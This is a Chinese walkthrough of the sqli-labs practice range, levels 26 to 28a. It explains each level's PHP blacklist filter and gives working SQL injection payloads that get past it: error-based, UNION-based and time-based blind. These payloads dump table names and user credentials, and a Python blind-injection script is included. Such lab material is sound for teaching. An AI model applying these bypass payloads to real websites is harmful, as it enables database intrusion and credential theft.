SQL-Labs靶场“26-28”关通关教程

君衍.

  • 一、二十六关 基于GET过滤空格以及注释报错注入
    • 1、源码分析
    • 2、绕过思路
    • 3、updatexml报错注入
  • 二、二十六a关 基于GET过滤空格注释字符型注入
    • 1、源码分析
    • 2、绕过思路
    • 3、时间盲注
  • 三、二十七关 基于union及select的过滤单引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、updatexml报错注入
  • 四、二十七a关 基于union及select的过滤双引号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八关 基于union及select单引号括号注入
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注
  • 五、二十八a关 基于二十八关的过滤减少
    • 1、源码分析
    • 2、绕过思路
    • 3、联合查询注入
    • 4、时间盲注

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程

一、二十六关 基于GET过滤空格以及注释报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

刚打开的界面:
在这里插入图片描述
我们可以看到它说所有的空格以及注释好像让过滤掉了,这里我们首先进行验证:

1、令id为1观察回显

在这里插入图片描述

2、令id为1后面加上单引号观察是否会报错

在这里插入图片描述
我们这里可以看到有报错,所以我们之后可以进行尝试使用报错注入。

3、测试使用联合查询观察过滤后的语句

在这里插入图片描述
我们这里即可看到它将注释符以及空格进行了过滤从而引发报错,下面我们当然是想办法绕过,所以我们先查看源码。

1、源码分析

include("../sql-connections/sqli-connect.php");
// take the variables 
if(isset($_GET['id']))
{
	$id=$_GET['id'];
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'ID:'.$id."\n");
	fclose($fp);
	//fiddling with comments
	$id= blacklist($id);
	//echo "<br>";
	//echo $id;
	//echo "<br>";
	$hint=$id;
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
	  	echo 'Your Login name:'. $row['username'];
	  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
		print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

首先先解读源码,第一步获取了变量id值,然后执行了blacklist函数进行了过滤,之后进入SQL语句中进行查询,如果可以查到,输出查询到的信息,所以这里我们使用联合查询其实也是可以的。如果没有查询到,那么输出报错信息。也就是报错注入也可以进行尝试。

这里我们也来看下具体的过滤情况:

# 过滤了or以及and的大小写
$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了--以及#注释符
$id= preg_replace('/[--]/',"", $id);		//Strip out --
$id= preg_replace('/[#]/',"", $id);			//Strip out #
# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、updatexml报错注入

1、爆出数据库名

payload:

?id=1'aandnd(updatexml(1,concat(0x7e,database(),0x7e),1));%00

在这里插入图片描述

2、爆出数据库中的所有表

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1));%00

在这里插入图片描述

3、爆出users表中所有列名

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))),0x7e),1));%00

在这里插入图片描述

4、查询数据

payload:

?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)),0x7e),1));%00

在这里插入图片描述
观察字符限制使用limit或者substr函数进行截取即可。

二、二十六a关 基于GET过滤空格注释字符型注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关同26关的注入点判断基本一致,唯独这里可以发现的不同便是没有了报错,首先我们使用id为1进行测试:
在这里插入图片描述
然后在1后面加上单引号:
在这里插入图片描述
由这里我们即可判断出报错注入显然是不能使用了,同时我们在使用参数为1测试中发现是进行了查询信息的回显的,所以这里我们可以试着使用联合查询进行注入。同时,盲注我们还需知道闭合方式来进行判断是否可以绕过得到不同的界面。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
 	}
else 
{
	//print_r(mysqli_error($con1));
}

这里与26关不同的地方便是闭合方式以及注释掉了报错信息显示,所以这里我们是无法使用报错注入的。同时过滤函数同26关相同。
在这里插入图片描述

2、绕过思路

这里过滤了以下几个字符:

1、or以及and的大小写

我们可以考虑以下几种绕过方式:

and = &&
or = ||
# 异或
xor = |
not = !

使用这几种字符进行替换掉or以及and。
第二便是使用双写进行绕过:
即为:

or=oorr
and=anandd

2、过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

3、过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、时间盲注

这里我们使用时间盲注进行注入,比如说这里我们首先测试数据库名的第一个字符的ascii值是否大于100,那么我们构造payload:

?id=1')anandd(if(ascii(left(database(),1))>100,sleep(3),0));%00

在这里插入图片描述
我们可以看到回显需要3秒以上,所以我们我们可以使用盲注的方式进行注入,我们编写成python来完成我们的盲注:

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(1), 0))aandnd('1')=('1" % (i, mid)
            params = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=params)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-26a/index.php'
    inject_database(url)

在这里插入图片描述
可以看到非常的方便,下面我们便是更改payload继续进行时间盲注。

三、二十七关 基于union及select的过滤单引号注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(‘$id’)

在这里插入图片描述
从主页面我们可以看到它说明将我们的union以及select进行了过滤,但是我们依旧是按照常规的注入思路进行注入点判断注入:

1、使用id为1进行查询,观察回显

在这里插入图片描述
这里我们可以看到回显了查询到的内容,所以我们之后可以进行尝试联合查询注入,先不说它将union以及select进行了过滤。

2、使用id为1后面加上单引号查看是否有回显

在这里插入图片描述
我们可以看到这里是进行了报错的,所以我们即使不使用union以及select进行查询也是可以尝试使用报错注入进行注入的。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
···
if($row)
{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
 	}
else 
{
	print_r(mysqli_error($con1));
}

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

这里我们可以看到和26关相似,只是过滤的内容变了,所以我们现在进行分析:

function blacklist($id)
{
# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
# 过滤了-
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
# 过滤了#
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了select /m严格模式不能进行双写绕过
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
# 过滤了union以及其大写
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...

# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=9999'%0aorder%0aby%0a4;%00

在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999'%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999'uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999'uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999'uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、updatexml报错注入

1、爆出数据库名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,database(),0x7e),1);%00

在这里插入图片描述

2、爆出数据库中的表

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1);%00

在这里插入图片描述

3、爆出数据库中可疑表users的列名

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0agroup_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users'),0x7e),1);%00

在这里插入图片描述

4、爆出数据

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(sElect%0aconcat(username,0x3a,password)from%0ausers%0alimit%0a0,1),0x7e),1);%00

在这里插入图片描述
自此,27关注入即可完成。

四、二十七a关 基于union及select的过滤双引号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=“$id”

本关和27关注入点判断基本一致,但是在使用1双引号传入参后,会发现没有了报错:
在这里插入图片描述
在这里插入图片描述
所以这里注入点这里没有了,我们也就不能使用报错注入,但是依旧可以看到查询到的结果是进行了回显的,所以我们之后可以进行尝试使用联合查询注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
if($row)
{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
 	}
else 
{
	//print_r(mysqli_error($con1));
}
···# 与27关一致

这里我们可以看到它将报错信息显示进行了注释,同时闭合方式采用了双引号进行闭合,剩下的过滤函数与27关一致。
在这里插入图片描述

2、绕过思路

union以及select没有忽略大小写,所以依旧可以进行绕过:

# 大小写混写
unioN
unIon
seLect
...

# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1"%0aorder%0aby%0a3;%00
?id=1"%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999"%0auNion%0asElect%0a1,database(),version();%00

在这里插入图片描述
这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999"uNion%0asElect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999"uNion%0asElect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999"uNion%0asElect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1"%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a"1"="1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1"%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a"1"="1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八关 基于union及select单引号括号注入

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关依旧和二十七关类似,使用1以及1单引号来进行请求查看回显:
在这里插入图片描述
在这里插入图片描述
我们依旧可以看到输出了查询到的信息,但是并没有输出报错信息,所以本关和27a类似,可以使用联合查询以及盲注的方式注入。

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
if($row)
{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
 	}
else 
{
	//print_r(mysqli_error($con1));
}
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

本关采用单引号括号进行闭合,同时注释了报错信息,输出了查询到的信息,同时过滤了一些字符。与27a关不同的便在于闭合方式以及过滤的内容。
在这里插入图片描述

2、绕过思路

首先我们来看本关的过滤内容:

# 过滤了/*
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
# 过滤了-以及#注释符
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

这里还过滤了以下几个字符:

过滤了–以及#注释符

这里我们可以使用闭合或者分号NULL的方式绕过:

1and '1'='1 #这里需要注意使用时观察闭合方式完成闭合
2;%00       #这里%00就是NULL的意思,这里可以充当注释符
3、`          #一些特殊的情况下可以充当注释

过滤了空格

这里我们使用如下几种方式绕过:

1/**/ #注释即可充当空格
2()
3、两个空格

也可采用url编码绕过:

符号说明
%09TAB 键 (水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键 (垂直)
%a0空格

3、联合查询注入

我们这里使用%0a进行尝试看是否可以代替空格(我们使用猜字段的方式:)

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

五、二十八a关 基于二十八关的过滤减少

请求方式注入类型拼接方式
GET联合、布尔盲注、延时盲注id=(‘$id’)

本关只是比28关少了几个过滤,剩下全部一样,所以注入点判断依旧是一样的,使用1以及1单引号进行测试:
在这里插入图片描述
在这里插入图片描述
这里我们依旧可以看到回显查询到的信息,不回显报错信息。

1、源码分析

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}

**剩余代码与28关都一样。。。**同时将这些过滤注释掉了,所以本关就是······难评。
在这里插入图片描述

2、绕过思路

# 过滤了union select /i大小写都进行了过滤
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.

所以这里我们大小写绕过是不可能的了,这里我们使用双写进行绕过union以及select的过滤。

# 嵌套双写
uunionnion
sselectelect
ununionion
...

3、联合查询注入

?id=1')%0aorder%0aby%0a3;%00
?id=1')%0aorder%0aby%0a4;%00

在这里插入图片描述
在这里插入图片描述
我们可以看到使用%0a代替了空格且成功绕过,下面我们就正常思路使用联合查询注入:

1、爆出数据库名以及版本

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,database(),version();%00

在这里插入图片描述

这里之所以使用9999,那是因为如果我们需要使用联合查询时,我们需要使联合查询前面的条件为假,我们之前使用-1,但是这里由于过滤掉了-号,所以我这里使用了9999远大于库中数据的数量。

2、爆出数据库中的表名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security';%00

在这里插入图片描述

3、查询可疑表users中的所有列名

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema='security'%0aand%0atable_name='users';%00

在这里插入图片描述

4、爆出数据

?id=9999')%0aunion%0aunion%0aselect%0aselect%0a1,group_concat(username,0x3a,password),3%0afrom%0ausers;%00

在这里插入图片描述
这里我们即可完成注入。

4、时间盲注

当然这里也可以使用时间盲注,payload如下:

?id=1')%0aand(if(ascii(left(database(),1))>111,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
判断数据库名第一个字符是否大于115:

?id=1')%0aand(if(ascii(left(database(),1))>115,sleep(3),0))and%0a('1')=('1

在这里插入图片描述
由此可见我们也可编写python脚本即可完成注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/419963.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

springcloud alibaba组件简介

一、Nacos 服务注册中心/统一配置中心 1、介绍 Nacos是一个配置中心&#xff0c;也是一个服务注册与发现中心。 1.1、配置中心的好处&#xff1a; &#xff08;1&#xff09;配置数据脱敏 &#xff08;2&#xff09;防止出错&#xff0c;方便管理 &#xff08;3&#xff…

精品ssm的社区团购系统购物商城小程序

《[含文档PPT源码等]精品基于ssm的社区团购系统[包运行成功]》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; Java——涉及技术&#xff1a; 前端使用技术&#xff1a;HTML5,CSS3、Jav…

从前端JS逆向到发现后端越权漏洞的渗透测试之旅

前言 本篇文章首发先知社区&#xff0c;作者为本公众号。 前端分析 首先搜索请求接口&#xff0c;未发现关键加密点 根据请求参数进行搜索 在js文件中找到aes加密key、iv eval(function(p, a, c, k, e, r) { e function(c) { return c.toString(36) } ; if…

什么是MTU(Maximum Transmission Unit)?

热门IT课程【视频教程】-华为/思科/红帽/oraclehttps://xmws-it.blog.csdn.net/article/details/117297837?spm1001.2014.3001.5502 最大传输单元MTU&#xff08;Maximum Transmission Unit&#xff0c;MTU&#xff09;&#xff0c;是指网络能够传输的最大数据包大小&#x…

禁止涉密电脑插U盘

某国家机关在日常工作中发现&#xff0c;一台涉密电脑受到了不明攻击&#xff0c;大量机密文件被非法访问和复制。 经过调查&#xff0c;原来是一名工作人员在不知情的情况下&#xff0c;将感染病毒的U盘插入涉密电脑&#xff0c;导致机密数据被窃取。 事件发生后&#xff0c…

【软考】UML中的图之通信图

目录 1. 说明2. 图示3. 特性4. 例题4.1 例题1 1. 说明 1.通信图强调收发消息的对象的结构组织2.早期版本叫做协作图3.通信图强调参加交互的对象和组织4.首先将参加交互的对象作为图的顶点&#xff0c;然后把连接这些对象的链表示为图的弧&#xff0c;最后用对象发送和接收的消…

【Mars3d】进行水平测量measure.area({的时候,会被模型遮挡的处理方法

问题&#xff1a; 1.thing/analysis/measure 水平面积 measure.area({ 在模型上测量的时候会被遮挡 2. 通过 addHeight:10000,增加高度也不可以实现这种被遮挡的效果&#xff0c;都增加到10000了&#xff0c;还是会被遮挡 export function measureArea() { measure.area({ s…

动态规划(算法竞赛、蓝桥杯)--单调队列滑动窗口与连续子序列的最大和

1、B站视频链接&#xff1a;E11【模板】单调队列 滑动窗口最值_哔哩哔哩_bilibili 题目链接&#xff1a;滑动窗口 /【模板】单调队列 - 洛谷 #include <bits/stdc.h> using namespace std; const int N1000010; int a[N],q[N];//q存的是元素的下标 int main(){int n,k;…

数据结构题目①——数组

前言 本篇文章为博主进行代码随想录——数组练习后的总结会涉及到每一道题目的详细的思路整理&#xff0c;以及本人的易错点&#xff0c;希望对大家有所帮助 数组介绍&#xff1a; 数组在C语言中就已经有所涉及&#xff0c;它是一个最基础的数据结构&#xff0c;而在数据结构中…

从零学算法289

289.根据 百度百科 &#xff0c; 生命游戏 &#xff0c;简称为 生命 &#xff0c;是英国数学家约翰何顿康威在 1970 年发明的细胞自动机。 给定一个包含 m n 个格子的面板&#xff0c;每一个格子都可以看成是一个细胞。每个细胞都具有一个初始状态&#xff1a; 1 即为 活细胞 …

接上Promise()对象处理回调地狱:怎么用.then()?什么是Async、Await?

上一篇基于JavaScript基础的异步、同步操作&#xff0c;promise、.then()-CSDN博客讲了【啥是异步操作、同步操作&#xff1f;】然后简单讲了回调函数是啥、Promise()对象是啥、.then()函数是啥&#xff0c;这一篇讲讲promise()对象到底怎么配合.then()函数解决回调地狱&#x…

学习和工作的投入产出比(节选)

人工智能统领全文 推荐包含关于投入、产出、过剩、市场关注、案例、结果和避雷等主题的信息&#xff1a; 投入与产出&#xff1a; 投入和产出都有直接和间接两类常见形式。常见的四种组合是&#xff1a;直接投入、直接产出、间接投入、间接产出。 过剩&#xff1a; 过剩是一个重…

QtCreator报Failed to parse qmlimportscanner output解决

错误如下: 定位错误位置 增加错误信息打印 打印执行命令 执行打印输出的命令,成功返回JSON 但输出的JSON对象不是json格式,而是命令 增加$$成功输出JSON 使用QtCreator12编译一次后,再使用QtCreator13成功编译通过,问题解决

如何实现WordPress后台显示文章、分类目录、标签等的ID?

我们平时在使用WordPress的过程中&#xff0c;偶尔需要用到文章的ID&#xff0c;或分类目录ID&#xff0c;或标签ID&#xff0c;或媒体库ID&#xff0c;或评论ID&#xff0c;或用户ID等&#xff0c;但是WordPress后台默认是不显示它们的ID的。 今天boke112百科就跟大家分享如何…

刷题第3天(简单题):LeetCode203--移除链表元素--虚拟头结点

LeetCode203:给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所有满足 Node.val val 的节点&#xff0c;并返回 新的头节点 。 示例 1&#xff1a; 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5]示例 2&#xff1a;输入…

vue3中的ref和reactive的区别

vue3中的ref和reactive的区别 1、响应式数据2、ref3、reactive4、ref VS reactive5、往期回顾总结&#xff1a; 1、响应式数据 处理响应式数据时到底是该用ref还是reactive... 响应式数据是指在 Vue.js 中&#xff0c;当数据发生变化时&#xff0c;相关的视图会自动更新以反映…

纯css实现-让字符串在文字少时显示为居中对齐,而在文字多时显示为左对齐

纯css实现-让字符串在文字少时显示为居中对齐&#xff0c;而在文字多时显示为左对齐 使用flex实现 思路 容器样式&#xff08;.container&#xff09;: Flex容器的BFC性质使得其内部的子元素&#xff08;.text-box&#xff09;在水平方向上能够居中&#xff0c;通过justify-c…

用node写后端环境运行时报错Port 3000 is already in use

解决方法:关闭之前运行的3000端口,操作如下 1.WindowR输入cmd确定,打开命令面板 2.查看本机端口详情 netstat -ano|findstr "3000" 3.清除3000端口 taskkill -pid 41640 -f 最后再重新npm start即可,这里要看你自己项目中package.joson的启动命令是什…

简单版 git快速上手使用 clone项目 新建/切换分支 提交修改

Git是一个广泛使用的版本控制系统&#xff0c;允许多个用户跟踪文件的更改&#xff0c;并协作开发项目。 首先确定自己电脑已经安装了git&#xff0c;具体安装步骤请查找教程&#xff0c;应该不难。 以windows电脑为例&#xff0c;安装完后在搜索栏搜索git会出现 先解释一下这…

B端系统用户体验最高原则:美观与易用的结合,附大波案例

将美观与易用结合是B端系统用户体验的最高原则&#xff0c; 强调美观忽视易用&#xff0c;那是反人类设计&#xff1b;强调易用忽视美观&#xff0c;那是泯灭人性的设计。本文分享为什么系统要结合二者&#xff0c;欢迎关注点赞&#xff0c;如有需求&#xff0c;可以私信我们。…